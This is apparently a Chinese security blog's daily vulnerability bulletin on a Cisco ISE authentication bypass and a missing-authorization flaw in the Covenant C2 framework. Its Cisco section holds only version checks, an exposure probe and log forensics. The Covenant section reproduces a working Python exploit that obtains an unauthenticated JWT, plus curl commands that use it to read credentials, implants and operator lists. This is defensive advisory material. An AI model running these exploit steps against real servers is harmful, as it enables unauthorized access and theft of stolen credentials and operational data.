文章总结: 文档推送两个高危CVE漏洞:CVE-2026-76460影响CiscoISE/ISE-PIC,未认证鉴权绕过可致root命令执行,CVSS10.0,已确认在野利用并列入CISAKEV,需立即升级至修复版本并收敛管理面暴露;CVE-2026-92717影响CovenantC2框架,SignalR枢纽缺失鉴权可未认证获取JWT,CVSS9.3,暂无官方修复需自行加[Authorize]防护。建议优先处置前者并排查失陷指标。
综合评分: 88
文章分类: 漏洞分析,应急响应,漏洞预警
每日漏洞推送 CVE-2026-76460 — Cisco Identity Services Engine(ISE / ISE-PIC)API 未认证鉴权绕过 → root 命令执行
原创
nullchen
nullchen
富贵学安全
2026年9月17日 10:32
陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
📡 每日漏洞情报推送 | 2026-09-17(周四)
🔴 漏洞一:CVE-2026-76460 — Cisco Identity Services Engine(ISE / ISE-PIC)API 未认证鉴权绕过 → root 命令执行
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-76460 |
| 影响产品 | Cisco Identity Services Engine(ISE) 与 Cisco ISE Passive Identity Connector(ISE-PIC);无论设备配置如何均受影响 |
| 受影响版本 | 3.0(已 EOL)/ 3.1 / 3.2 / 3.3 / 3.4 / 3.5 各分支(低于修复版本者) |
| 漏洞类型 | CWE-648:对关键功能的鉴权控制不当(API 端点鉴权缺失)→ 认证绕过 → root RCE |
| CVSS | 10.0 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(Cisco 官方 Base 10.0) |
| Cisco Bug ID | CSCww39530 |
| 修复版本 | 3.1 Patch 12 / 3.2 Patch 11 / 3.3 Patch 12 / 3.4 Patch 7 / 3.5 Patch 4 |
| 公开时间 | 2026-09-16 16:00 GMT(Cisco 通告 v1.0 Final / NVD);同日入 CISA KEV |
| 在野利用 | ✅ Cisco PSIRT 确认「aware of active exploitation」;已入 CISA KEV(BOD 26-04 到期 2026-09-19,强制取证) |
🔥 紧急程度
未认证 + 网络可达 + 单请求绕过 + 最终 root。ISE 是网络准入控制(NAC)/ 802.1X / TACACS+ 的身份与策略中枢,常见于管理网段(management plane)且管理界面常对内部网络甚至部分公网暴露。此洞在 S:C(作用域变更) 维度上打满分 10.0,Cisco 通告中罕见地直接写明:
「Upon successful exploitation of this vulnerability, threat actors may obtain command execution with root privileges. Because of this level of access, evidence of exploitation and indicators of compromise may be removed or hidden by the threat actors.」
也就是说:一旦被打,取证本身就不可信,必须跨设备比对网络与防火墙日志。KEV 到期 09-19,且 Cisco 已确认在野利用——请视为最高优先级当天处置。
📝 漏洞描述
漏洞根因在 Cisco ISE 某个 API 端点缺少足够的鉴权控制(CWE-648)。攻击者无需任何凭据、无需用户交互,向受影响设备的该 API 端点发送一个精心构造的请求,即可绕过基于 Web 的管理界面认证,直接获得对设备的未授权访问;通告进一步指出,成功利用后攻击者可获得 root 权限的命令执行(即鉴权绕过直接桥接到 OS 层 root 控制)。
利用条件:
- 目标 ISE / ISE-PIC 的管理 API(管理界面)网络可达(管理网段可达或管理口被不当暴露);
- 目标版本落在受影响区间(未打对应 Patch);
- 无需认证、无需交互。
已知活动:Cisco 称该漏洞是在处理一起 TAC 支持工单时发现,并已观测到活跃利用。
💻 PoC/EXP
来源标注:受影响/修复版本、CWE、Bug ID、CVSS 与 IoC 均取自 Cisco 官方通告
cisco-sa-ISE-ABP-VNSW7Tn5(v1.0 Final, 2026-09-16) 与 NVD CVE-2026-76460。重要说明:Cisco 未公开具体 API 端点与可用 EXP,NVD 亦无公开利用代码,故不伪造“一键 getshell”脚本。以下提供授权的版本核验 + 管理面暴露探测 + IoC 取证三段式框架(务必在授权范围内、对自建/授权设备执行)。
1️⃣ 版本核验与受影响判定(CLI,最可靠)
# 在 ISE 节点(CLI,需管理员)确认版本,对照修复版本
# ise/admin# show version
# 修复版本对照(低于下列 Patch 即为受影响):
# ISE 3.1 -> 需 >= 3.1 Patch 12
# ISE 3.2 -> 需 >= 3.2 Patch 11
# ISE 3.3 -> 需 >= 3.3 Patch 12
# ISE 3.4 -> 需 >= 3.4 Patch 7
# ISE 3.5 -> 需 >= 3.5 Patch 4
# ISE 3.0 -> 已 End of Software Maintenance,需迁移到受支持版本
# 分布式部署需对【每一个节点】逐一核验
2️⃣ 管理面暴露探测框架(Python · 授权测试 · 仅做「可达性/暴露面」判定)
#!/usr/bin/env python3
"""
CVE-2026-76460 — Cisco ISE 管理 API 未认证暴露面探测框架
用途:在【授权】环境下,确认 ISE 管理 API 是否对当前网络未认证可达。
真实 EXP 未公开,本脚本仅做暴露面与响应差异化判定,不包含任何利用载荷。
"""
importsys, ssl, requests
requests.packages.urllib3.disable_warnings()
# ISE 常见管理/API 入口(用于判定“管理面是否未认证可达”,非漏洞端点)
PROBES= [
"/admin/", # ISE 管理门户
"/api/v1/", # ISE REST API 基路径(需 ERS 启用)
"/ers/config/", # ERS API
"/mnt/", # 部分内部路径
]
defprobe(base):
print(f"[*] 目标管理面: {base}")
exposed= []
forpinPROBES:
url=base.rstrip('/') +p
try:
r=requests.get(url, verify=False, timeout=8, allow_redirects=False)
tag="OPEN "ifr.status_codein (200, 401, 403, 405) else" - "
print(f" [{tag}] {r.status_code:>3} {url}")
ifr.status_codein (200, 401, 403, 405):
exposed.append((url, r.status_code))
exceptExceptionase:
print(f" [ ERR ] {url} -> {e}")
ifexposed:
print("[!] 管理 API 对当前网络可达——若版本落在受影响区间,存在 CVE-2026-76460 风险")
print("[!] 立即用 iACL 收敛,仅放行必需的管理/控制面流量")
else:
print("[+] 未探测到管理面直接可达(仍需按版本核验)")
if__name__=="__main__":
targets=sys.argv[1:] or ["https://ise.example.com"]
fortintargets:
probe(t)
print("-"*60)
3️⃣ IoC 取证(Cisco 官方指定 + KEV 强制取证)
# ── Cisco 官方 IoC 方法:在 ISE CLI 上检索 access.log 中的可疑用户名 ──
# 单机/每个节点均需执行:
ise/admin# show logging application ise-kong/access.log | include dummyuser
# 说明:`dummyuser` 为 Cisco 给出的“可疑用户名”示例,实际请排查任何
# 异常/非预期用户名(尤其在未认证/短时高频请求附近)。
# 分布式部署:对所有节点执行;可收集带 debug logs 的 support bundle,
# 解密后在 ./ise/logs/apigateway/access.log*.gz 中进一步检索。
# ── 关键提醒:root 级别失陷会导致本地证据被清除/隐藏 —— 必须跨设备核验 ──
# 在【设备之外】的网络/防火墙日志中排查:
# * 由该 ISE 发起、指向外部 IP 的异常上传(数据外带)
# * 来自可疑恶意 IP 的下载
# * 异常出向连接、异常时段的管理面访问
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 立即升级(首选,唯一根治) | 升级至 3.1 Patch 12 / 3.2 Patch 11 / 3.3 Patch 12 / 3.4 Patch 7 / 3.5 Patch 4 或更高;3.0 已 EOL,须迁移 |
| 缓解(Cisco 明确无 Workaround,仅有 Mitigation) | 使用 基础设施 ACL(iACL),仅允许必需的管理与控制面流量到达 ISE,禁止管理面被任意网络未认证可达 |
| 强制取证(KEV / BOD 26-04) | 排查 ise-kong/access.log 可疑用户名;若疑似被利用,强烈建议重新镜像(re-image)节点并从配置备份恢复;跨设备核验网络/防火墙日志 |
| 分布式部署 | 逐节点核验版本与日志——任一节点暴露即整体失守 |
| 失陷应急 | 轮换所有管理凭据与证书;审计策略/授权配置是否被篡改;按 Cisco 指引处置 |
🔗 参考来源
- Cisco Security Advisory:cisco-sa-ISE-ABP-VNSW7Tn5(v1.0 Final, 2026-09-16)
- NVD CVE-2026-76460
- CISA KEV(CVE-2026-76460,到期 2026-09-19)
- Cisco ISE Security Hardening Release:September 2026
🔴 漏洞二:CVE-2026-92717 — Covenant ≤ 0.6 CovenantHub SignalR 枢纽缺失鉴权 → 未认证获取 JWT → 整个 C2 操作员 API 沦陷
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-92717 |
| 影响产品 | Covenant ≤ 0.6(开源 .NET C2 框架;影响文件 Covenant/Hubs/CovenantHub.cs、Covenant/Core/CovenantService.cs、Covenant/Startup.cs) |
| 漏洞类型 | CWE-306:关键功能缺失身份验证(SignalR 枢纽漏写 [Authorize])→ 未认证令牌签发 → 数据面全量越权 |
| CVSS | 9.3 (CRITICAL, CVSS 4.0) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N;VulnCheck / NVD 记 9.1 (CVSS 3.1) |
| 修复版本 | 官方暂无修复版本(Issue #406 目前 open;修复为给 CovenantHub 加上一行 [Authorize]) |
| 公开时间 | 2026-09-16(NVD / VulnCheck);Issue #406 于 2026-06-21 提交 |
| 在野利用 | ⚠️ 暂无在野报告;但 PoC 已在真实构建上实测成功(官方 Issue 附完整代码) |
🔥 紧急程度
Covenant 是红队常用的开源 C2,一台被攻陷的 Covenant 服务器相当于把整场行动的“老巢”交出去:活跃植入体、已窃取凭据、外泄文件、操作员名单、植入体二进制全部暴露。此洞的优雅之处在于只利用一个漏写的属性:
- ASP.NET Core 中 SignalR 枢纽方法调用不受 MVC 全局授权策略或
app.UseAuthorization()保护,枢纽只有自带[Authorize]才受保护; - 项目中另外五个枢纽全都带
[Authorize](GruntHub/EventHub/GruntTaskingHub/GruntCommandHub/CommandOutputHub),唯独CovenantHub漏写; - REST 等价接口
POST /api/listeners/http是有保护的——只有 SignalR 这条路径被漏掉,赤裸裸地印证了「疏忽」而非「设计」。
结果:任何能访问 Covenant Web 端口的未认证者,即可拿到服务器签名、2000 天有效期、带 Listener 角色的 JWT,随后横扫 RequireJwtBearer 策略下的全部 API。
📝 漏洞描述
调用链(对照 Covenant v0.6 源码与官方 Issue #406):
- 枢纽注册(
Covenant/Startup.csL236-238):CovenantHub映射到/covenanthub,无任何授权属性。
endpoints.MapHub<GruntHub>("/grunthub");
endpoints.MapHub<EventHub>("/eventhub");
endpoints.MapHub<CovenantHub>("/covenanthub"); // ← 未受保护
- 枢纽定义(
Covenant/Hubs/CovenantHub.cs):public class CovenantHub : Hub—— 对比GruntHub.cs的[Authorize],此处无属性;且方法CreateHttpListener(HttpListener listener)属在线/未注释状态。 - 可达服务方法(
Covenant/Core/CovenantService.cs``CreateHttpListener,约 L3950-3987):
CovenantUserlistenerUser=awaitthis.CreateUser(newCovenantUserLogin { ... });
IdentityRolelistenerRole=awaitthis.GetRoleByName("Listener");
awaitthis.CreateUserRole(listenerUser.Id, listenerRole.Id);
listener.CovenantToken=Utilities.GenerateJwtToken(
listenerUser.UserName, listenerUser.Id, new[] { listenerRole.Name },
_configuration["JwtKey"], _configuration["JwtIssuer"],
_configuration["JwtAudience"], "2000"); // ← 2000 天有效期 JWT
returnawaitthis.GetHttpListener(listener.Id); // ← 连同 Token 一并返回
- API 授权策略过弱(
Covenant/Startup.csL124-127):RequireJwtBearer只要求「任意已认证 JWT」,不要求任何角色。
options.AddPolicy("RequireJwtBearer", newAuthorizationPolicyBuilder()
.RequireAuthenticatedUser()
.AddAuthenticationSchemes("JwtBearer")
.Build());
- 所有 API 控制器(
GruntApiController、CredentialApiController、CovenantUserApiController、LauncherApiController等)均标注[Authorize(Policy = "RequireJwtBearer")]——Listener角色令牌全部通过。
💻 PoC/EXP
来源标注:以下 PoC 直接取自官方仓库 Issue #406(cobbr/Covenant),作者称已在全新构建的容器(repo Dockerfile,绑定
https://127.0.0.1:7443、数据库为空)上实测成功。仅限授权安全测试。
0️⃣ 对照验证:一个受保护、一个敞开
# 受保护枢纽 -> 被重定向到登录(302)
curl-sk-X POST "https://127.0.0.1:7443/grunthub/negotiate?negotiateVersion=1" \
-o /dev/null -w"%{http_code}\n" # 302 blocked
# CovenantHub -> 敞开(200)
curl-sk-X POST "https://127.0.0.1:7443/covenanthub/negotiate?negotiateVersion=1" \
-o /dev/null -w"%{http_code}\n" # 200 open
1️⃣ 完整利用:未认证调用 CreateHttpListener 骗取 JWT(Python)
# 依赖: pip install websocket-client
importjson, ssl, urllib.request, websocket
RS="\x1e" # SignalR 记录分隔符
base="https://127.0.0.1:7443"
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
# 1) 未认证 negotiate /covenanthub
req=urllib.request.Request(base+"/covenanthub/negotiate?negotiateVersion=1",
method="POST", data=b"")
token=json.load(urllib.request.urlopen(req, context=ctx))["connectionToken"]
# 2) 打开 websocket,【不带任何 Authorization 头】
ws=websocket.create_connection("wss://127.0.0.1:7443/covenanthub?id="+token,
sslopt={"cert_reqs": ssl.CERT_NONE})
ws.send(json.dumps({"protocol": "json", "version": 1}) +RS); ws.recv()
# 3) 匿名调用 CreateHttpListener
listener= {"name": "pwn", "listenerTypeId": 1, "profileId": 1, "status": "uninitialized",
"bindAddress": "0.0.0.0", "bindPort": 8123, "connectAddresses": ["127.0.0.1"],
"connectPort": 8123, "useSSL": False}
ws.send(json.dumps({"type": 1, "invocationId": "1", "target": "CreateHttpListener",
"arguments": [listener]}) +RS)
for_inrange(5):
forpartinws.recv().split(RS):
ifnotpart.strip():
continue
m=json.loads(part)
ifm.get("invocationId") =="1"andm.get("type") ==3:
print("CovenantToken:", m["result"]["covenantToken"])
ws.close(); raiseSystemExit
实测输出(真实运行):
CovenantToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...role":"Listener"...exp:1954841874...
2️⃣ 拿泄露的 JWT 打受保护的 API
TOKEN="<上一步的 covenantToken>"
for ep in /api/grunts /api/credentials /api/users /api/launchers/binary /api/downloadevents; do
printf "%-26s no-token=%s with-token=%s\n""$ep" \
"$(curl -sk -o /dev/null -w '%{http_code}' https://127.0.0.1:7443$ep)" \
"$(curl -sk -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $TOKEN" https://127.0.0.1:7443$ep)"
done
预期:
/api/grunts no-token=401 with-token=200 # 全部活跃植入体
/api/credentials no-token=401 with-token=200 # 所有已窃凭据
/api/users no-token=401 with-token=200 # 操作员名单(含 security stamp)
/api/launchers/binary no-token=401 with-token=200 # 植入体二进制
/api/downloadevents no-token=401 with-token=200 # 外泄文件
3️⃣ 一键暴露面检测(是否未认证可达 /covenanthub)
#!/bin/bash
# CVE-2026-92717 暴露面检测 —— 仅限授权测试
TARGET="${1:-https://127.0.0.1:7443}"
code=$(curl -sk -X POST "$TARGET/covenanthub/negotiate?negotiateVersion=1" \
-o /dev/null -w "%{http_code}")
echo"[*] $TARGET/covenanthub -> HTTP $code"
[ "$code"="200" ] && echo"[!] 命中:CovenantHub 未认证可达 -> 存在 CVE-2026-92717(可骗取 Listener JWT)" \
|| echo"[+] 未命中(仍需核验版本 <= 0.6)"
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 代码修复(官方暂无版本,需自补) | 在 Covenant/Hubs/CovenantHub.cs 的 CovenantHub 类上加 [Authorize](与其余五个枢纽一致);或全局为所有 Hub 强制鉴权 |
| 网络收敛(应急) | 禁止 Covenant Web 端口(默认 7443)暴露到不可信网络;仅内网/管理 VPN 可达,前置强鉴权网关 |
| 策略收紧 | 不应对 Listener 角色开放 RequireJwtBearer 下的读取类 API(凭据/植入体/文件/操作员名单);按最小权限拆分角色策略 |
| 凭据与令牌处置 | 重置 JWT 签名密钥(JwtKey)使已泄露令牌失效;轮换操作员凭据;审计 CovenantUser 中是否新增了异常 Listener 用户 |
| 失陷排查(重点) | C2 服务器一旦被反向控制,行动全量数据可能已外泄;排查异常 CreateHttpListener 调用、异常 Listener(如 name=pwn、异常 bind 端口)、异常 200 访问 /api/* 记录,并评估是否需要作废整场行动基础设施 |
🔗 参考来源
- NVD CVE-2026-92717
- VulnCheck 通告:Covenant through 0.6 — Missing Authentication on the CovenantHub SignalR Hub
- Covenant GitHub Issue #406(完整 PoC)
- Covenant v0.6 源码 · Hubs/CovenantHub.cs#L28-L33
- Covenant v0.6 源码 · Core/CovenantService.cs#L3958-L3975
- Covenant 项目主页
🛡️ 优先行动建议
优先等级 行动 截止日期
────────────────────────────────────────────────────
🔴 最高 Cisco ISE / ISE-PIC 升级 3.1P12 / 3.2P11 / 09-19 前 (KEV, 在野利用)
3.3P12 / 3.4P7 / 3.5P4 + iACL 收敛 + 强制取证
🔴 最高 Covenant ≤0.6 立即收敛 Web 端口(7443)、 立即 (C2 被反制)
自补 [Authorize] + 重置 JwtKey
🔴 最高 Cisco SEG 升级 15.5.5-014 / 16.0.4-302 / 09-17 前 (KEV, 今天到期)
16.5.0-780 + 强制取证排查
🟠 紧急 Cisco FMC CVE-2026-20242 收敛 External DB Access 立即 (未认证 root RCE)
🟠 紧急 WordPress JetFormBuilder 升级 > 3.6.2 尽快 (未认证建管理员)
🟡 关注 Acronis Backup / Pixel 基带 / Chromium V8 按 KEV 09-18~09-25
到期日处置;Shuffle / Kubero / Oracle 高危升级
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen
nullchen《每日漏洞推送 CVE-2026-76460 — Cisco Identity Services Engine(ISE / ISE-PIC)API 未认证鉴权绕过 → root 命令执行》